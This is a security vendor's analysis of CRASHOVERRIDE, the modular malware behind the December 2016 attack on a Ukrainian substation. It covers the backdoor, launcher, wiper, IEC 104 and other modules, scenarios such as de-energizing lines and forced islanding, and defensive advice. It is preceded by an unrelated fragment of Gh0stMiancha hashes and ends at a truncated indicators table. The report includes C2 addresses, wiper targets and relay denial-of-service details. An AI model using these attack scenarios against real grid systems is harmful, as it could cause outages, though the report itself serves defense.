N/A PDB String h:\2013.11.25\\server(update.dll)(instructions.pdf)\Release\server.pdb Obfuscated Trojan:W64/Gh0stMiancha MD5 55474f8e26f2b6fc3b5d78ce9a77b0b0 SHA1 3f714c33992e906e69df2d5d4971beaed336d9f4 SHA256 27e5670f68ff68acc80716c6870f4e5d06c471791f087d5b9b7613f8dc700037 Size (bytes) 233019 Compile Time N/A In-the-wild Filenames instructions64.pdf Trojan:W64/Gh0stMiancha MD5 1d2c77f0f8a715de09ce6fae5fc800d4 SHA1 30784735763b060a39f76c29439a6aebbf6a4b9b SHA256 2fdf454f6b1c82d757d054bea5f0438f5da1ecd9e5059610d3d4b74e75a7c8b0 Size (bytes) 233019 Compile Time 2013-12-06 08:10:34 UTC In-the-wild Filenames N/A PDB String C:\Users\why\Desktop\server(update.dll)(instructions.pdf)x64\x64\Release\server.pdb TLP: WHITE TLP: WHITE Page 11 / 11 Context Information Security - Threat Intelligence - threatcontextis.co.uk London (HQ) Cheltenham Dsseldorf Melbourne 4th Floor 30 Marsh Wall London E14 9TP United Kingdom Corinth House 117 Bath Road Cheltenham GL53 7LS United Kingdom 1.OG Adersstr. 28 40215 Dsseldorf Germany 4th Floor 155 Queen Street Melbourne VIC 3000 Australia CRASHOVERRIDE Analysis of the Threat to Electric Grid Operations DRAGOS INC. / WWW.DRAGOS.COM version 2.20170613 2 CRASHOVERRIDE : Threat to the Electic Grid Operations Contents Executive Summary 3 Why Are We Publishing This 3 Key Takeaways 4 Background 5 Introduction to Electric Grid Operations 6 Evolution of Tradecraft 8 STUXNET 8 Dragonfly/HAVEX 9 BLACKENERGY 2 10 Ukraine Cyber Attack 2015 10 CRASHOVERRIDE 11 Capabilities 12 Capabilities Overview 12 Module Commonalities 13 Backdoor/RAT Module 13 Launcher Module 15 Data Wiper Module 16 IEC 104 Module 17 IEC 101 Module 21 61850 Module 21 OPC DA Module 21 SIPROTECT DoS Module 22 Capability Conclusions 22 Implications of capability 22 Attack Option: De-energize substation 22 Attack Option: Force an Islanding event 23 Adding Amplification Attacks 24 Using OPC to create a Denial of Visibility 24 Using CVE-2015-5374 to hamper protective relays 25 Defense Recommendations 26 CRASHOVERRIDE Analyzing the Threat to Electric Grid Operations 3 CRASHOVERRIDE : Threat to the Electic Grid Operations Why Are We Publishing This Security firms must always balance a need to inform the public against empowering adversaries with feedback on how they are being detected and analyzed. This case is no different. In fact, it is more important given that there is no simple fix as the capa- bility described in this report takes advantage of the knowledge of electric grid sys- tems. It is not an aspect of technical vulnerability and exploitation. It cannot just be patched or architected away although the electric grid is entirely defensible. Human defenders leveraging an active defense such as hunting and responding internally to the industrial control system (ICS) networks can ensure that security is maintained. Executive Summary Dragos, Inc. was notified by the Slovak anti-virus firm ESET of an ICS tailored mal- ware on June 8th, 2017. The Dragos team was able to use this notification to find samples of the malware, identify new functionality and impact scenarios, and con- firm that this was the malware employed in the December 17th, 2016 cyber-attack on the Kiev, Ukraine transmission substation which resulted in electric grid opera- tions impact. This report serves as an industry report to inform the electric sector and security community of the potential implications of this malware and the appro- priate details to have a nuanced discussion. 4 CRASHOVERRIDE : Threat to the Electic Grid Operations Key Takeaways The malware self-identifies as crash in multiple locations thus leading to the naming convention CRASHOVERRIDE for the malware framework. CRASHOVERRIDE is the first ever malware framework designed and deployed to attack electric grids. CRASHOVERRIDE is the fourth ever piece of ICS-tailored malware (STUXNET, BLACKENERGY 2, and HAVEX were the first three) used against targets and the second ever to be designed and deployed for disrupting physical industrial pro- cesses (STUXNET was the first). CRASHOVERRIDE is not unique to any particular vendor or configuration and instead leverages knowledge of grid operations and network communications to cause impact in that way, it can be immediately re-purposed in Europe and portions of the Middle East and Asia. CRASHOVERRIDE is extensible and with a small amount of tailoring such as the inclusion of a DNP3 protocol stack would also be effective in the North Ameri- can grid. CRASHOVERRIDE could be leveraged at multiple sites simultaneously, but the scenario is not cataclysmic and would result in hours, potentially a few days, of outages, not weeks or more. Dragos assesses with high confidence that the same malware was used in the cyber-attack to de-energize a transmission substation on December 17, 2016, resulting in outages for an unspecified number of customers. The functionality in the CRASHOVERRIDE framework serves no espionage pur- pose and the only real feature of the malware is for attacks which would lead to electric outages. CRASHOVERRIDE could be extended to other industries with additional pro- tocol modules, but the adversaries have not demonstrated the knowledge of other physical industrial processes to be able to make that assessment anything other than a hypothetical at this point and protocol changes alone would be insufficient. Dragos, Inc. tracks the adversary group behind CRASHOVERRIDE as ELECTRUM and assesses with high confidence through confidential sources that ELECTRUM has direct ties to the Sandworm team. Our intelligence ICS WorldView cus- tomers have received a comprehensive report and this industry report will not get into sensitive technical details but instead focus on information needed for defense and impact awareness. CRASHOVERRIDE : Threat to the Electic Grid Operations 5 Background On June 8th, 2017 the Slovak anti-virus firm ESET shared a subset of digital hash- es of the malware described below and a portion of their analysis with Dragos. The Dragos team was asked to validate ESETs findings to news publications ESET had contacted about the story which would be published June 12th, 2017. Dragos would like to thank ESET for sharing the digital hashes which allowed the Dragos team to spawn its investigation. Without control of the timeline, it was Dragos desire to publish a report alongside ESETs report to capture the nuance of elec- tric grid operations. The report also contains new discoveries, indicators, and im- plications of the tradecraft. Also, because of the connection to the activity group Dragos tracks as ELECTRUM, it was our decision that an independent report was warranted. The Dragos team has been busy over the last 96 hours reproducing and verifying ESETs analysis, hunting for new samples of the malware and potential ad- ditional infections, notifying appropriate companies, and informing our customers. Importantly, Dragos also updated ICS vendors that needed to be made aware of this capability, relevant government agencies, many national computer emergen- cy response teams (CERTs), and key players in the electric energy community. Our many thanks to those involved. If you are a Dragos, Inc. customer, you will have already received the more concise and technically in-depth intelligence report. It will be accompanied by follow-on reports, and the Dragos team will keep you up-to-date as things evolve. It is in Dragos view that the following report contains significant assessments that de- serve a wide audience in the electric sector. Avoiding hype and fear should always be paramount but this case-study is of immediate significance, and this is not a singular contained event. The CRASHOVERRIDE capability is purpose built to im- pact electric grid operations and has been created as a framework to facilitate the impact of electric grids in other countries in the future outside the attack that took place with it December 17th, 2016 in Ukraine. However, as always, the defense is doable. 6 CRASHOVERRIDE : Threat to the Electic Grid Operations Introduction to Electric Grid Operations As with most ICS specific incidents, the most interesting components of the attack are in how the adversary has demonstrated they understand the physical industri- al process. Whereas vulnerabilities, exploits, and infection vectors can drive dis- cussions in intrusion analysis of IT security threats that is not the most important aspect of an ICS attack. To fully understand the CRASHOVERRIDE framework, its individual capabilities, and overall impact on ICS security it is important to under- stand certain fundamentals of electric grid operations. Simplistically, the electric grid can be categorized into three functions: generation of electricity at power plants, transmission from the power plants across typically long distances at high voltage, and then stepped down to lower voltage to distribu- tion networks to power customers. Along these long transmission and distribution systems are substations to transform voltage levels, serve as switching stations and feeders, and fault protection. Many industries feed into the electric grid, and those differences require different systems and communications. As an example, while a power plant feeds energy into the electric grid there is no one-size-fits-all approach to power plants. There are power plants that cover different sources of fuel including coal-fired, nuclear generation, wind farm, solar farm, gas turbine power, hydroelectric and more. This means that the electric grid must be a robust, almost living creature, which moves and balances electricity across large regions. Electric grids use a special type of industrial control system called a supervisory control and data acquisition (SCADA) system to manage this process across large geographical areas. Transmission and distribution owners have their substations in their particular geographical footprint and control centers manage the cross-territory SCADA systems 24/7 by human op- erators. These control centers often regularly manage the continual demand and response of their customers, respond to faults, and plan and work with neighboring utilities. This simplistic view of grid operations is similar around the world. There are of- ten vendor and network protocol differences between countries but the electrical engineering, and the overall process is largely the same between nations. As an example, these systems use SCADA and leverage systems such as remote terminal units (RTUs) to control circuit breakers. As the breakers open and close, substations are energized or de-energized to balance power across the grid. Some network protocols such as IEC 104, a TCP-based protocol, and its serial protocol compan- ion IEC 101, are often regional specific. Europe, some of Asian, and portions of the Middle East leverage these protocols to control RTUs from the SCADA human machine interfaces (HMIs). 7 CRASHOVERRIDE : Threat to the Electic Grid Operations Figure 1: Simplistic Mockup of Electric Grid Operations Systems and Communications Relevant for CRASHOVERRIDE In North America, the protocol of choice for this is the Distributed Network Proto- col 3 (DNP3). The various protocols purposes are largely the same though: control physical equipment through RTUs, programmable logic controllers (PLCs), and other final control elements via HMIs as a part of the larger SCADA system. Some protocols have been adopted cross-country including IEC 61850 which is usual- ly leveraged from an HMI to work with equipment such as digital relays and other types of intelligent electronic devices (IEDs). IEDs are purpose built microproces- sor-based control devices and can often be found alongside power equipment such as circuit breakers. IEDs and RTUs operate in a master/slave capacity where the slave devices are polled and sent commands by master devices. 8 CRASHOVERRIDE : Threat to the Electic Grid Operations Substations manage the flow of power through transmission or distribution lines. Management of energizing and de-energizing of these lines ultimately control when and where the flow of power moves in and out of the substation. If you open a breaker you are removing the path where the electricity is flowing, or de-energizing it. If you close a breaker then you are energizing the line by closing the gap and allowing the power to flow. This concept is similar to anyone who has tripped (opened) a breaker in their house. Traditional IT or IT security staff may be confused on this terminology as it is opposite to how one would describe firewall rules where open means network traffic may flow and closed means network traffic is prohibited. The grid is a well-designed system, and while damage can be done, it is vital to un- derstand that in nations around the world the electric community has designed the system to be reliable and safe which has a natural byproduct of increased securi- ty. In the United States as an example, reliability is reinforced with regular training and events such as the North American grids GridEx where grid operators train for events from hurricanes, to terrorist incidents, to cyber-attacks and how they will respond to such outages. There is constantly a balance that must be understood when referring to grid operations: yes, the systems are vulnerable and more must be done to understand complex and multi-stage attacks, but the grid is also in a great defensible position because of the work of so many over the years. Evolution of Tradecraft CRASHOVERRIDE represents an evolution in tradecraft and capabilities by ad- versaries who wish to do harm to industrial environments. To fully appreciate the malware it is valuable to compare it to its predecessors and the Ukraine 2015 cyber attack. STUXNET The STUXNET malware has been written about extensively and referenced, at times, unfortunately, in comparison to most ICS related incidents and malware. It was the first confirmed example of ICS tailored malware leveraged against a tar- get. The Windows portion of the code with its four zero-day exploits gained a lot of notoriety. However, it was the malwares payload that was specific to ICS that was the most interesting component. The tradecraft exhibited by STUXNET was the detailed understanding of the industrial process. In IT networks, it is important for adversaries to identify vulnerabilities and exploit them to load malware and gain privileges on systems. 9 CRASHOVERRIDE : Threat to the Electic Grid Operations In ICS networks though, some of the most concerning issues are related to an adversarys ability to learn the physical process such as the engineering of the systems and their components in how they work together. STUXNETs greatest strength was leveraging functionality in Siemens equipment to interact with nucle- ar enrichment centrifuges through abuses of intended functionality. The purpose of the Siemens equipment was to be able to control and change the speed of the centrifuges. Stuxnet did this as well but with pre-programmed knowledge from the attackers on the speeds that would cause the centrifuge to burst from their cas- ings. ICS tailored malware leveraging knowledge of industrial processes was now a thing. However, it was specific to Siemens equipment and unique to the Natanz fa- cility in Iran. While tradecraft and exploits can be replicated, it was not reasonable to re-purpose the Stuxnet capability. Dragonfly/HAVEX The Dragonfly campaign was an espionage effort that targeted numerous industrial control system locations, estimates put it at over 2,000 sites, with a large empha- sis on electric power and petrochemical asset owners. The Dragonfly campaign leveraged the HAVEX malware. There are often not many commonalities between different industrial sites. Even a single substation in one company can be almost entirely different than a substation in the same company based on vendors, imple- mentation, integration, and the physical processes required at each site. One of the few commonalities across numerous ICS industries though is the OPC protocol. It is designed to be the universal translator for many industrial components and is readily accessible in an HMI or dedicated OPC server. The HAVEX malware lever- aged legitimate functionality in the OPC protocol to map out the industrial equip- ment and devices on an ICS network. It was a clever use of the protocol and while the malware itself was not complex the tradecraft associated with the usage of OPC was sophisticated. However, the Dragonfly campaign was focused entirely on espionage. There was no physical disruption or destruction of the industrial pro- cess. Instead, it was the type of data you would want to leverage to design attacks in the future built for the specific targets impacted with the malware. 10 CRASHOVERRIDE : Threat to the Electic Grid Operations BLACKENERGY 2 The Sandworm team has targeted numerous industries ranging from western mil- itaries, governments, research organizations, defense contractors, and industrial sites. It was their use of the BLACKENERGY 2 malware that caught the ICS indus- trys attention. This ICS tailored malware contained exploits for specific types of HMI applications including Siemens SIMATIC, GE CIMPLICITY, and Advantech We- bAccess. BLACKENERGY 2 was a smart approach by the adversaries to target in- ternet connected HMIs. Upon exploitation of the HMIs, the adversaries had access to a central location in the ICS to start to learn the industrial process and gain the graphical representation of that ICS through the HMI. The targeting of HMIs alone is often not enough to cause physical damage, but it is an ideal target for espio- nage and positioning in an ICS. Gaining a foothold in the network that had access to numerous components of the ICS while maintaining command and control to Internet locations, positioned it well for espionage. Ukraine Cyber Attack 2015 The cyber-attack on three power companies in Ukraine on December 23rd, 2015 marked a revolutionary event for electric grid operators. It was the first known in- stance where a cyber-attack had disrupted electric grid operations. The Sandworm team was attributed to the attack and their use of the BLACKENERGY 3 malware. BLACKENERGY 3 does not contain ICS components in the way that BLACKENER- GY 2 did. Instead, the adversaries leveraged the BLACKENERGY 3 malware to gain access to the corporate networks of the power companies and then pivot into the SCADA networks. While in the environment the adversaries performed their recon- naissance and eventually leveraged the grids systems against itself. They learned the operations and used the legitimate functionality of distribution management systems to disconnect substations from the grid leaving 225,000 customers without power for upwards of 6 hours until manual operations could restore pow- er. However, due to the wiping of Windows systems through the KillDisk malware and destruction of serial-to-Ethernet devices through malicious firmware updates, the Ukrainian grid operators were without their SCADA environment, meaning they lost the ability for automated control, for upwards of a year in some locations. The most notable aspect of the attack was the adversarys focus on learning how to leverage the systems against themselves. Malware enabled the attack, and malware delayed restoration efforts, but it was the direct interaction of the adversary lever- aging the ICS against itself that resulted in the electric power disruptions, not mal- ware. 11 CRASHOVERRIDE : Threat to the Electic Grid Operations CRASHOVERRIDE The CRASHOVERRIDE malware impacted a single transmission level substation in Ukraine on December 17th, 2016. Many elements of the attack appear to have been more of a proof of concept than what was fully capable in the malware. The most important thing to understand though from the evolution of tradecraft is the codification and scalability in the malware towards what has been learned through past attacks. The malware took an approach to understand and codify the knowl- edge of the industrial process to disrupt operations as STUXNET did. It leveraged the OPC protocol to help it map the environment and select its targets similar to HAVEX. It targeted the libraries and configuration files of HMIs to understand the environment further and leveraged HMIs to connect to Internet-connected lo- cations when possible as BLACKENERGY 2 had done. And it took the same type of approach to understanding grid operations and leveraging the systems against themselves displayed in Ukraine 2015s attack. It did all of these things with added sophistication in each category giving the adversaries a platform to conduct at- tacks against grid operations systems in various environments and not confined to work only on specific vendor platforms. It marks an advancement in capability by adversaries who intend to disrupt operations and poses a challenge for defenders who look to patching systems as a primary defense, using anti-malware tools to spot specific samples, and relying upon a strong perimeter or air-gapped network as a silver-bullet solution. Adversaries are getting smarter, they are growing in their ability to learn industrial processes and codify and scale that knowledge, and de- fenders must also adapt. 12 CRASHOVERRIDE : Threat to the Electic Grid Operations Capabilities Capabilities Overview The CRASHOVERRIDE malware is a modular framework consisting of an initial backdoor, a loader module, and several supporting and payload modules. The most important items are the backdoor, which provides access to the infected system, the loader module, which enables effects on the target, and the individual payload modules. Dragos focused our analysis on the previously mentioned items as they are most relevant for defending grid operations. Dragos analysts were able to obtain two samples of the malware related to effects on the targeted industrial control system. One sample was the IEC 104 protocol module, and the other sample was the data wiper. Both samples shared common design characteristics indicative of being part of a broader ICS attack and manip- ulation framework. ESET was able to uncover an additional IEC 61850 and OPC module which they have analyzed and shared with Dragos. Below contains an overview of program execution flow and dependency. Figure 2. CRASHOVERRIDE Module Overview Including ESETs Discoveries 13 CRASHOVERRIDE : Threat to the Electic Grid Operations Module Commonalities Dragos analysts were able to determine the compile time for both modules ob- tained as being within 12 minutes of each other just after 2:30 am on December 18th in an unknown time zone although timestamps for both samples were zeroed out. These times falls in the same timeframe as the Ukraine events. Both mod- ule samples exported a function named Crash that served as the main function to begin execution. The common Crash function enables the ability to plug and play additional modules. Backdoor/RAT Module Key Features Authenticates with a local proxy via the internal network established before the backdoor installation After authentication opens HTTP channel to external command and control server (C2) through internal proxy Receives commands via the external command and control (C2) server Creates a file on the local system (contents not determined) Overwrites an existing service to point to the backdoor so the malware persists between reboots Details Access to the ICS network flows through a backdoor module. Dragos obtained four samples which all featured similar functionality. On execution, the malware attempts to contact a hard-coded proxy address located within the local network. ELECTRUM must establish the internal proxy before the installation of the back- door. The malware expects to communicate to an internal proxy listening on TCP 3128. This port is a default port associated with the Squid proxy. The beaconing contin- ues without pause until it establishes a connection. The backdoor then sends a se- ries of HTTP POST requests with the victims Windows GUID (a unique identifier set with every Windows installation) in the HTTP body. This information authenticates the targeted machine to the command and control (C2) server. If the C2 server does not respond, the backdoor will exit. 14 CRASHOVERRIDE : Threat to the Electic Grid Operations If the authentication is successful to the internal proxy, the malware attempts to per- form an HTTP CONNECT to an external C2 server via the internal proxy. Across four samples, Dragos identified three different C2 addresses which were likely part of the December 2016 attack on Ukraine: 195.16.88.6 93.115.27.57 5.39.218.152 A check of the TOR projects ExoneraTOR service indicates that all of the listed IP ad- dresses were listed as active TOR nodes during the events in Ukraine. When performing the HTTP CONNECT, the malware attempts to identify the system default user agent. If this cannot be determined or does not exist, then a hard-coded default for the malware is used: Mozilla/4.0 (compatible MSIE 7.0 Windows NT 5.1 InfoPath.1) The malware can be configured to beacon out periodically afterwards via a hard-coded configuration value. The implant is designed to retrieve commands from the C2 server: Create a new process as logged in user Create a new process as specified user via CreateProcessWithLogon Write a file Copy a file Execute a command as logged in user Execute a command as specified user Kill the backdoor Stop a service Specify a user (log in as user) and stop a service Specify a user (log in as user) and start a service Alter an existing service to point to specified process and change to start at boot Execution results in several artifacts left on the host. During execution, the malware checks for the presence of a mutex value. Mutexes are program objects that name re- sources to enable sharing with multiple program threads. In this case, CRASHOVERRIDE checks the following: \Sessions\1\Windows\ApiPortection 15 CRASHOVERRIDE : Threat to the Electic Grid Operations The backdoor may also create and check a blank mutex name. Reviewing memo- ry during execution and analysis of other modules in the malware indicates that \ Sessions\1\Windows\ appears multiple times, indicating that a check may be per- formed. The backdoor writes a file to either C:\Users\Public\ or C:\Users\Executing User The contents of this file were not discovered during our analysis, and it did not appear to be vital to the malware functionality. However, this is a good indicator of the observed activity and may be leveraged to detect this specific sample through host-based indicator checking. The service manipulation process is the only persistence mechanism for the mal- ware. When used, the adversary can select an arbitrary system service, direct it to refer to CRASHOVERRIDE, and ensure it is loaded on system boot. If this fails, the malware, although present on disk, will not start when the machine reboots. When evaluating the options provided to the adversary, an important piece of functionality associated with most remote access tools is absent: a command to exfiltrate data. While this functionality could be created via the command execu- tion options, one would expect this option to be explicit given options to down- load and copy files on the host if the adversary intended to use the tool as an all-encompassing backdoor and espionage framework. Instead, the functionality of this tool is explicitly designed for facilitating access to the machine and execut- ing commands on the system and cannot reasonably be confused as an espionage platform, data stealer, or another such item. Launcher Module Key Features Loads payload modules which manipulate the ICS and cause destruction via the wiper Starts itself as a service likely to hide better Loads the payload module(s) defined on the command line during execu- tion Launches the payload and begins either 1 or 2 hours countdown before launching the data wiper (variant dependent) 16 CRASHOVERRIDE : Threat to the Electic Grid Operations Details Within the attack sequence, the ICS payload modules and data wiper module must be loaded by a separate loader EXE. Dragos obtained one sample of this file called the Launcher. The launcher takes three parameters on start: Launcher.exe Working Directory payload.dll configuration.ini On launch, the sample analyzed starts a service named defragsvc. It then loads the module DLL via an exported function named Crash. A new thread is created at the highest priority on the executing machine. Control then passes from the launcher to the loaded module while the launcher waits two hours before executing the data wip- er. Data Wiper Module Key Features Clears all registry keys associated with system services Overwrites all ICS configuration files across the hard drives and all mapped net- work drives specifically targeting ABB PCM600 configuration files in this sample Overwrites generic Windows files Renders the system unusable Details Once executed, the data wiper module clears registry keys, erase files, and kill pro- cesses running on the system. A unique characteristic of the wiper is that the main functionality was implemented within the Crash function. The first task of the wiper writes zeros into all of the registry keys in: SYSTEM\CurrentControlSet\Services This registry tree contains initialization values for each service on the system. Removal of these values renders a system inoperable. The next wiper task targets ICS configu- ration files across the local hard drive and mapped network drives. The malware au- thors included functionality to target drives lettered C-Z. 17 CRASHOVERRIDE : Threat to the Electic Grid Operations The wiper also targets file types unique to ABBs PCM600 product used in substa- tion automation in addition to more general Windows files. The below table out- lines some of the unique file extensions used by industrial control systems. File Extension Usage .pcmp PCM600 Project (ABB) .pcmi PCM600 IEC File (ABB) .pcmt PCM600 Template IED File .CIN ABB MicroScada .PL Programmable Logic File .paf PLC Archive File .SCL Substation Configuration Language .cid Configured IED Description .scd Substation Configuration Description Table 1. File extensions targeted by the data wiper module IEC 104 Module Key Features Reads a configuration file defining the target (likely an RTU) and action to take Kills legitimate the master process on the victim host Masquerades as the new master Enters one of four modes: Sequence mode: continuously sets RTU IOAs to open Range mode: (1) Interrogates each RTU for valid IOAs (2) toggles each IOA between open and closed state Shift mode: unknown at this time Persist mode: unknown at this time/not fully implemented 18 CRASHOVERRIDE : Threat to the Electic Grid Operations Figure 3. Protocol Transmission Types in IEC 104 19 CRASHOVERRIDE : Threat to the Electic Grid Operations Figure 4: Execution Flow of IEC 104 Module in CRASHOVERRIDE Details The CRASHOVERRIDE IEC 104 module is a complete implementation of IEC 104 to serve in a MASTER role. This raw functionality creates a Swiss army knife for sub- station automation manipulation yet also provides tailored functionality. The func- tions exposed to the malware operator are confined by the options of the configu- ration file. This report outlines the options analyzed today but notes that extending and enhancing functionality is straight forward with the robust protocol implemen- tation. 20 CRASHOVERRIDE : Threat to the Electic Grid Operations The design of the IEC 104 module differs from the wiper and suggests that a sec- ondary group of developers could have been involved. Instead of the exported crash function containing the primary execution instructions, the function parses the config file then starts a thread containing the IEC 104 master. The configuration file can have multiple entries offset by [STATION], followed by 13 values: File Extension Usage target_ip NONE target_port NONE logfile NONE adsu NONE stop_comm_service 1 change 1 first_action on silence 0 uselog 0 stop_comm_service_name blank timeout 1 second socket_timeout 15 seconds range NONE Table 2. IEC-104 module configuration file fields The configuration file is critical to achieving an effect on the target, as target spec- ifications for the device must be provided by the operator in the configuration file for the module to function. There are no observed automated means of enumerat- ing the network and then impacting RTUs. Each [STATION]entry spawns a thread for follow-on effects against ICS equipment. Once the IEC 104 master thread begins, the first action is to try to kill the commu- nications service process which acts as the master process. Once the module stops the communications service process, a socket opens with the target IP and desti- nation port sending data to slave devices and receiving the resulting responses. 21 CRASHOVERRIDE : Threat to the Electic Grid Operations Depending on the mode defined within the configuration file the module may: Set specific values Enumerate IOAs on the target devices Continuously set the IOA to open, or Continuously toggle the IOA between open and closed states. This module contains no interactive capability. RTUs and PLCs, in simplistic terms, act on input and output. Each discrete input and output is tied to a memory address. Depending on implementation these ad- dresses are referred to as coils, registers, or for IEC 104: information object ad- dresses (IOAs). IOAs are typed and can hold different value types, such as Boolean or Unsigned Integer values. The 104 module properly understands how to enu- merate and discover IOAs to operate breakers. IEC 101 Module This module was unavailable to Dragos at the time of publication. ESETs analysis claims the functionality is equivalent to the IEC 104 module except with communi- cations over serial. However, Dragos was able to confirm that the module exists. IEC 61850 Module This module was unavailable to Dragos at the time of publication. ESETs analysis claims once executed the module leverages a configuration file to identify targets and without a configuration file it enumerates the local network to identify poten- tial targets. It communicates with the targets to identify whether the device con- trols a circuit breaker switch. For certain variables (no further information avail- able) it will change their state while also generating an action log. However, Dragos was able to confirm that this module does exist. OPC DA Module This module was unavailable to Dragos at the time of publication. ESETs analysis claims the module does not require a configuration. It enumerates all OPC servers and their associated items looking for a subset related to ABB containing the string ctl. It then writes 0x01 twice into the item overwriting the proper value giving the device a primary value out of limits device status. However, Dragos was able to confirm that this module exists. 22 CRASHOVERRIDE : Threat to the Electic Grid Operations SIPROTEC DoS Module This module was unavailable to Dragos at the time of publication. ESETs analysis claims the module sends UDP packets to port 50000 exploiting CVE-2015-5374 causing the SIPROTEC digital relay to fall into an unresponsive state. Dragos could not validate that this module exists. Capability Conclusions ELECTRUMs ability to adopt a development style described above has several im- plications: first, developers can integrate new protocols into the overall framework quickly. Second, ELECTRUM could easily leverage external development teams skilled at exploiting industrial control systems. Some adversaries would likely ap- proach capability development through a two-tier approach: a core development team skilled at writing the overall framework and a second team knowledgeable about a given control system. The platform team would take the control sys- tem modules and add logic to fit them within the platform. The IEC 104 module demonstrates this approach. Given the execution described with secondary threads the team authoring the Crash function likely did not author the IEC 104 master portion of the code. Both development teams probably worked together to decide on a log file format for consumption by the main Crash function and executed in each of the IEC 104 module threads. Implications of capability This section describes legitimate CRASHOVERRIDE attack and impact scenarios. Extensions of these and potential hypothetical scenarios were deemed indetermin- istic and will not be addressed. Attack Option: De-energize substation CRASHOVERRIDE, based on prior knowledge, must have a configuration file for targeting information of one or multiple RTUs. This configuration option allows for several types of activities. One operation the configuration option allows is se- quence. . 23 CRASHOVERRIDE : Threat to the Electic Grid Operations The command sequence polls the target device for the appropriate address- es. Once it is at the subset of known addresses, it can then toggle the value. The command then begins an infinite loop and continues to set addresses to this val- ue effectively opening closed breakers. If a system operator tries to issue a close command on their HMI the sequence loop will continue to re-open the breaker. This loop maintaining open breakers will effectively de-energize the substation line(s) preventing system operators from managing the breakers and re-energize the line(s). The effects of de-energizing a line or substation largely depends on the system dynamics, power flows, and other variables. In some circumstances, it may have no immediate impact while in others it could put customers into an outage. It is im- portant to note that grid operations encompass failure modes and operations can normally compensate. That is, after all, why humans are in the loop to monitor and maintain the system. From a recovery standpoint, the remote staff will effectively have lost control of the breakers and will be required to send crews to the substation. If the CRASHOVER- RIDE loop continues unabated, then the crews will likely sever communications as both a troubleshooting and recovery action. Severing communications puts the substation in manual operation where a physical presence is now required. This could result in a few hours of outages Attack Option: Force an Islanding event Dragos is currently investigating a separate and more disruptive attack option in CRASHOVERRIDE as described by ESET. As before, the attacker must have a config- uration file for targeting information of one or multiple RTUs. This configuration file now uses the range command to begin a loop that toggles the status of the break- er between open and close continuously. The changing breaker status will invoke automated protective operations to isolate (commonly referred to as islanding) the substation. This is an intentional self-protective capability of grid operations. In effect, this breaker strobing takes the substation offline due to the protective relay schemes automated operations causing perturbations of some degree on the grid as scientific principles define how the behavior interacts with frequencies and phases. The variables of these effects will dictate impacts but could cause system instabilities depending on the effectiveness of the protection relays and their oper- ations. Grid operation contingencies become more critical if multiple substations were under attack likely resulting in many small islanding events. This is assuming coordinated targeting of multiple electric sites and could result in a few days of outages. 24 CRASHOVERRIDE : Threat to the Electic Grid Operations Adding Amplification Attacks Forcing an islanding of a substation through continual breaker manipulation is sig- nificant by itself. However, CRASHOVERRIDE has the potential to amplify this attack even more. Two separate CRASHOVERRIDE modules offer this opportunity. Using OPC to create a Denial of Visibility The OPC module ESET analysis suggests it can brute force values. Module OPC. exe will send out a 0x01 status which for the target systems equates to a Primary Variable Out of Limits misdirecting operators from understanding protective relay status. Bit Mask Definition 0x10 More Status Available More status information is available via Command 48, Read Additional Status Information. 0x08 Loop Current Fixed The Loop Current is being held at a fixed value and is not responding to process variations. 0x04 Loop Current Saturated The Loop Current has reached its upper (or lower) endpoint limit and cannot increase (or decrease) any further. 0x02 Non-Primary Variable Out of Limits A Device variable not mapped to the PV is beyond its operating limits. 0x01 Primary Variable Out of Limits The PV is beyond its operating limits. The outcome of the action infers that various systems can either perform actions on wrong information or report incorrect information to system operators. This Denial of Visibility will amplify misunderstanding and confusion while system op- erators troubleshoot the problem as their system view will show breakers closed when they are open. . 25 CRASHOVERRIDE : Threat to the Electic Grid Operations Using CVE-2015-5374 to Hamper Protective Relays A second, and more severe, amplifying attack would be to neutralize the auto- mated protective system by creating a Denial of Service against some or all of the protective relays. This possibility exists in a tool ESET has claimed to have discov- ered that implements the known CVE-2015-5374 Denial of Service condition to the Siemens SIPROTEC relays. Siemens released a patch for this in July 2015 under Sie- mens advisory SCA-732541. At this time it is believed that CVE-2015-5374 causes a denial of service (DoS) of the complete relay functionality and not just the network communications module. Dragos has independent evidence that this module ex- ists but it cannot be confirmed. Hampering the protective scheme by disabling the protective relays can broaden the islanding event and, if done at scale, could trigger a larger event causing multi- ple substations and lines islanding from the electric grid. Siemens SIPROTEC was likely chosen in this attack only because that was the vendor device at the Ukraine Kiev site attacked in December 2016. This same tactic against digital relays, albe- it not the same exploit, could have a similar impact on grid operations. However, there are many different types of digital relays each with different configurations. This amplifying attack would be very difficult to do at scale properly and would require a significant investment on behalf of the adversary. 26 CRASHOVERRIDE : Threat to the Electic Grid Operations Defense Recommendations Doing the basics is always appropriate, and it significantly helps move ICS into a defensible position. However, they are not worth repeating here, and instead, more tailored approaches specific to ICS security analysts trying to defend against CRA- SHOVERRIDE and similar capabilities are presented below: Electric utility security teams should have a clear understanding of where and how IEC 104 and IEC 61850 protocols are used. North American elec- tric utilities should include DNP3 on this list in case the malware is extended to impact U.S. systems. Look specifically for increased usage of the proto- cols against baselines established in the environment. Also, look for systems leveraging these protocols if they have not before and specifically try to identify systems that are generating new network flows using these proto- cols. Similarly, understand OPC implementations and identify how the protocol is being used. It is a protocol that is pervasive across numerous sectors. Also, CRASHOVERRIDE is the second, out of four, ICS tailored malware suite with OPC capabilities. OPC will appear abnormal in the CRASHOVERRIDE usage as it is being used to scan all devices on the network which would generate more traffic than usual. Robust backups of engineering files such as project logic, IED configura- tion files, and ICS application installers should be offline and tested. This will help reduce the impact of the wiper functionality. Prepare incident response plans for this attack and perform table top exer- cises bringing in appropriate stakeholders and personnel across engineer- ing, operations, IT, and security. The scenario should include substation outages with the requirement to do manual operations while recovering the SCADA environment and gathering appropriate forensics. The included YARA rules and other indicators of compromise can be lever- aged to search for possible infections (IOCs). The YARA rules will provide a higher confidence towards discovering an infection than the other IOCs and should be searched for against Windows OT systems especially noting HMIs. The behavioral analytics to identify the communications on the network would provide the highest capability to detect this and similar threats. 27 CRASHOVERRIDE : Threat to the Electic Grid Operations While some defenses and architecture changes may have value in other situations, the following are responses that are not appropriate for this attack: Transmission and distribution companies should not rely on the usage of other protocols such as DNP3 as a protection mechanism. The complete- ness of the CRASHOVERRIDE framework suggests there may be other un- disclosed modules such as a DNP3 module. Also, adding this functionality into the existing framework would not require extensive work on the part of the adversary. Air gapped networks, unidirectional firewalls, anti-virus in the ICS, and other passive defenses and architecture changes are not appropriate solutions for this attack. No amount of security control will protect against a determined human adversary. Human defenders are required CRASHOVERRIDE : Threat to the Electic Grid Operations Indicators TYPE SUBTYPE IOC Description ICS Kill Chain Impact Host Mutex Value 